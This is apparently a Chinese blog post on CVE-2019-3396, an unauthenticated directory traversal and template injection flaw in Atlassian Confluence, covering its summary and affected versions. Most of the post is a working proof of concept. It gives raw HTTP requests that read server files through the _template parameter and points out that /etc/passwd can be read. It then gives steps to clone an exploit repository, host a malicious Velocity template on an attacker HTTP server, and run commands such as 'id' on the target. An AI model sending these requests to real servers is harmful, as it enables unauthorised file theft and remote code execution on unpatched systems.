漏洞简介
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
影响版本
Atlassian Confluence Server 6.6.12之前版本,6.7.0版本至6.12.3之前版本,6.13.0版本至6.13.3之前版本,6.14.0版本至6.14.2之前版本。
漏洞复现
我的环境为vulhub的靶机,难受的是按照它的流程去安装服务时,发现官网似乎将Confluence Server的测试证书换成了云服务,我没得拿到测试证书,我测什么?
只能放放Poc了
路径穿越读文件:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
提示:6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。
所以符合版本要求时我们可以远程加载文件来执行命令:
1.git clone https://github.com/Yt1g3r/CVE-2019-3396_EXP.git #下载利用工具
2.cd CVE-2019-3396_EXP #进入这个目录
3.python2 -m SimpleHTTPServer 8000或python3 -m http.server 8000 #使用python随便搭建一个简易http
然后提交包:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 198
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"http://ip:8000/cmd.vm","cmd":"id"}}}
就可以执行命令